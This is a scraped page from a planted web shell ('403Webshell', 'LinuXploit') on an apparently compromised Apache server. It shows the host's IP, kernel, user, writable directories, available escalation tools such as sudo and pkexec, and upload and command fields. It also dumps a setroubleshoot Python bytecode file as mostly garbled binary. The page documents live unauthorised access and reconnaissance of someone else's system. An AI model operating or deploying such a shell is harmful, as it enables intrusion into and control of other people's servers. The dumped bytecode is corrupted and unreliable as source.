403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/setroubleshoot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyc
Ñò
€®åJc@s8dddgZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
lZddkTddk
TddkTddkTeddeƒZyeed	ƒWnej
od
e_nXeeiƒdƒZd„Zddd
„ƒYZdeifd„ƒYZdS(tAuditSocketReceiverThreadtAuditRecordReceivert
verify_avciÿÿÿÿN(t
get_config(t*tgeneraltuse_auparset	AUDIT_EOEi(icCs‘|iidjp|iidjotSti|iijoLtidt|iƒtid|ii	ƒƒddk
}|idƒntS(NsUsetroubleshoot generated AVC, exiting to avoid recursion, context=%s, AVC scontext=%ssaudit event
%siÿÿÿÿi(
tscontextttypetNonettcontexttFalset
my_contexttlog_programterrortaudit_eventtformattsystexittTrue(tavcR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyR3s&cBs†eZdZdZd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zdd
„Z
dd„Zd„Zd
„ZRS(sO
    The audit system emits messages about a single event
    independently. Thus one single auditable event may be composed
    from one or more individual audit messages. Each audit message is
    prefixed with a unique event id, which includes a timestamp. The
    last audit message associated with an event is not marked in any
    fashion. Audit messages for a specific event may arrive
    interleaved with audit messages for other events. It is the job of
    higher level software (this code) to assemble the audit messages
    into events. The AuditEvent class is used for assembly. When a new
    event id is seen a new AuditEvent object is created, then
    every time an audit message arrives with that event id it is added
    to that object. The AuditEvent object contains the timestamp
    associated with the audit event as well as other data items useful
    for processing and handling the event.

    The audit system does not tell us when the last message belonging
    to an event has been emitted so we have no explicit way of knowing
    when the audit event has been fully assembled from its constituent
    message parts. We use the heuristic if a sufficient length of
    time has expired since we last saw a message for this event, then
    it must be complete

    Thus when audit events are created we place them in a cache where
    they will reside until their time to live has expired at which
    point we will assume they are complete and emit the event.

    Events are expired in the flush_cache() method. The events
    resident in the cache are sorted by their timestamps. A time
    threshold is established. Any events in the cache older than the
    time threshold are flushed from the cache as complete events.

    When should flushes be performed? The moment when a new message is
    added would seem a likely candidate moment to perform a sweep of
    the cache. But this is costly and does not improve how quickly
    events are expired. We could wait some interval of time (something
    much greater than how long we expect it would take for messages
    percolate) and this has good behavior, except for the following
    case. Sometimes messages are emitted by audit in rapid
    succession. If we swept the cache once a second then the cache may
    have grown quite large. Since it is very likely that any given audit
    event is complete by the time the next several events start
    arriving we can optimize by tracking how many messages have
    arrived since the last time we swept the cache.

    The the heuristic for when to sweep the cache becomes:

    If we've seen a sufficient number of messages then sweep -or- if
    a sufficient length of time has elapsed then we sweep

    Note that when audit messages are injected via log file scanning
    elapsed wall clock time has no meaning relative to when to perform
    the cache sweep. However, the timestamp for an event remains a
    critical factor when deciding if an event is complete (have we
    scanned far enough ahead such we're confident we won't see any
    more messages for this event?). Thus the threshold for when to
    expire an event from the cache during static log file scanning is
    determined not by wall clock time but rather by the oldest
    timestamp in the cache (e.g.there is enough spread between
    timestamps in the cache its reasonable to assume the event is
    complete). One might ask in the case of log file scanning why not
    fill the cache until EOF is reached and then sweep the cache?
    Because in log files it is not unusual to have thousands or tens
    of thousands of events and the cache would grown needlessly
    large. Because we have to deal with the real time case we already
    have code to keep only the most recent events in the cache so we
    might as well use that logic, keep the code paths the same and
    minimize resource usage.
    g{®Gázt?cCs2d|_d|_h|_g|_|iƒdS(Nii(t
flush_sizetflush_counttcacheteventstreset_statistics(tself((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyt__init__Œs
				cCs
t|iƒS(N(tlenR(R((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytnum_cached_events“scCsd|_d|_dS(Ni(tmax_cache_lengthtevent_count(R((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyR–s	cCs#tƒ}||it|iƒ<|S(N(t
AuditEventRtstrtevent_id(RtrecordR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytinsert_new_eventšs	cCs|iit|iƒdƒS(N(RtgetR"R#R
(RR$((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytget_event_from_recordŸscCs‘totid|ii|ƒn|i|ƒ}|idjo|o|i|ƒndS|djo|i|ƒ}n|i	|ƒdS(Ns%s.add_record_to_cache(): %stEOE(
tdebugtlog_avct	__class__t__name__R'trecord_typetflush_eventR
R%t
add_record(RR$R((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytadd_record_to_cache¢s
cCs&|id7_|iid|ƒdS(Nii(R Rtinsert(RR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyt
emit_event¯scCs$|i|ƒ|it|iƒ=dS(N(R2RR"R#(RR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyR.³s
cstˆiƒdjodStˆiƒˆijotˆiƒˆ_nˆiiƒ}|djo0x(|D] }ˆi|}ˆi|ƒqmWdS|i‡fd†ƒ|djoˆi|diˆi}nx<|D]4}ˆi|}|i|joˆi|ƒqßqßWdS(slFlush events from the cache if they are older than the threshold age.
        If the threshold age is None then the threshold age is set to the age
        of the newest event in the cache minus the cache time to live, in other
        words anything in the cache which is older than the time to live relative
        to the most current event is flushed.
        iNcs!tˆi|iˆi|iƒS((tcmpRt	timestamp(tatb(R(s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyt<lambda>Ðsiÿÿÿÿ(	RRRtkeysR.tsortR
R4tcache_time_to_live(Rt
threshold_aget	event_idsR#R((Rs</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytflush_cache·s&	



ccsL|i|ƒd|_x/t|iƒdjo|iiƒ}|VqWdS(Ni(R=RRRtpop(RR;R((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytflushÙs
	ccs#x|idƒD]}|VqWdS(s{Emit every event in the cache irrespective of its
        timestamp. This means we're done, nothing should remain buffered.iN(R?(RR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytcloseàsccs½totid|ii|ƒn|id7_|idjo|i|ƒn|i|ijo x|iƒD]}|VqtWnx/t	|i
ƒd	jo|i
iƒ}|VqŠWd
S(s9Accept a new audit record into the system for processing.s%s.feed() got %s'itAVCtAVC_PATHtSYSCALLtCWDtPATHR(iN(sAVCRBRCRDsPATHsEOE(R)R*R+R,RR-R0RR?RRR>(RR$R((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytfeedçs

N(R,t
__module__t__doc__R:RRRR%R'R0R2R.R
R=R?R@RF(((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRAsE						
		"	cBs>eZd„Zd„Zd„Zd„Zd„Zd„ZRS(cCsctii|ƒ||_||_tƒ|_tddtƒ|_	|i
ƒd|_t|_
dS(Ntaudittretry_intervali(t	threadingtThreadRtqueuetreport_receiverRtrecord_receiverRtintRJtget_socket_pathsttimeout_intervalRt
has_audit_eoe(RRMRN((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRüs		
	cCsKg|_tddƒ}|ii|ƒtddƒ}|ii|ƒdS(NRIttext_protocol_socket_pathtbinary_protocol_socket_path(taudit_socket_pathsRtappend(Rtaudit_socket_path((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRQs
	cCsÏxÈtoÀy/x|iD]û|_|idj	oây›t|iƒ}t|ƒ|_titi	ti
ƒ|_ti|ii
ƒtitiƒ|ii|iƒ|iiƒ|_tid|iƒdSWqtij
o1}t|ƒ\}}tid|i|ƒqXqqWtiddi|iƒ|iƒWnztij
o7}t|ƒ\}}tid|i||iƒn6tj
o)}tid|i|d|iƒnXti|iƒqWdS(Nsaudit socket (%s) connecteds4attempt to open audit socket (%s) failed, error='%s's:could not open any audit sockets (%s), retry in %d secondss, s9audit socket (%s) failed, error='%s', retry in %d secondsi(RRVRXR
tderive_record_formattAuditRecordReadert
record_readertSockettsockettAF_UNIXtSOCK_STREAMtaudit_sockettfcntltfilenotF_SETFDt
FD_CLOEXECtconnecttmakefiletaudit_socket_fdR*tinfoRtget_error_from_socket_exceptiontwarningtjoinRJtOSErrorttimetsleep(Rt
record_formatteterrnotstrerror((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRes:
	"				cCsPt|||||ƒ}|iƒx'|ii|ƒD]}|i|ƒq5WdS(s"called to enter a new audit recordN(tAuditRecordtaudispd_rectifyRORFtnew_audit_event_handler(RR-R#t	body_texttfieldstline_numbertaudit_recordR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytnew_audit_record_handler2s

cCs‡totid|ƒn|iƒo[|iƒoM|iƒdjo:t|ƒ}t|ƒo|ii||i	fƒqƒndS(Ns!new_audit_event_handler: event=%si(
R)R*tis_avct
is_grantedtnum_recordsRARRMtputRN(RRR((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRu:s.
cCsl|iƒ|i}xRtoJti|iggg|ƒ\}}}yi|i|joþddk}|i|iiƒdƒ}|djo&t	ot
i	dƒn|iƒq¬t	ot
i	d|iiƒƒn|i
p
|i}nx½|ii|ƒD]N\}}}	}
}|djot|_
d}n|i|||	|
|ƒqÿWnXx4|iitiƒ|iƒD]}|i|ƒquW|iiƒdjo
d}nWqtj
o4}
t	ot
i	d|iiƒntiƒqtj
o4}
t	ot
i	d	|iiƒntiƒqtj
o)}
t
id
|
iit|
ƒƒdSXqWdS(Niÿÿÿÿitsaudit socket connection droppedscached audit event count = %dR(is!KeyboardInterrupt exception in %ssSystemExit exception in %ssexception %s: %s(ReRRRtselectR`tostreadRgRbR)R*RORRSR[RFR
RzR?RmRutKeyboardInterruptR+R,tthreadtinterrupt_maint
SystemExitt	Exceptiont	exceptionR"(RttimeouttinListtoutListterrListRtnew_dataR-R#RvRwRxRRp((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pytrunDsN
	'



	
! (R,RGRRQReRzRuRŽ(((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyRûs				!		
((t__all__RIR€tselinuxR]R\RaR„RKRmtsetroubleshoot.configRtsetroubleshoot.errcodetsetroubleshoot.logtsetroubleshoot.utiltsetroubleshoot.audit_datatboolRtgetattrtAttributeErrorRt
AvcContexttgetconR
RRRLR(((s</usr/lib/python2.6/site-packages/setroubleshoot/avc_audit.pyt<module>s0	



	º

Youez - 2016 - github.com/yon3zu
LinuXploit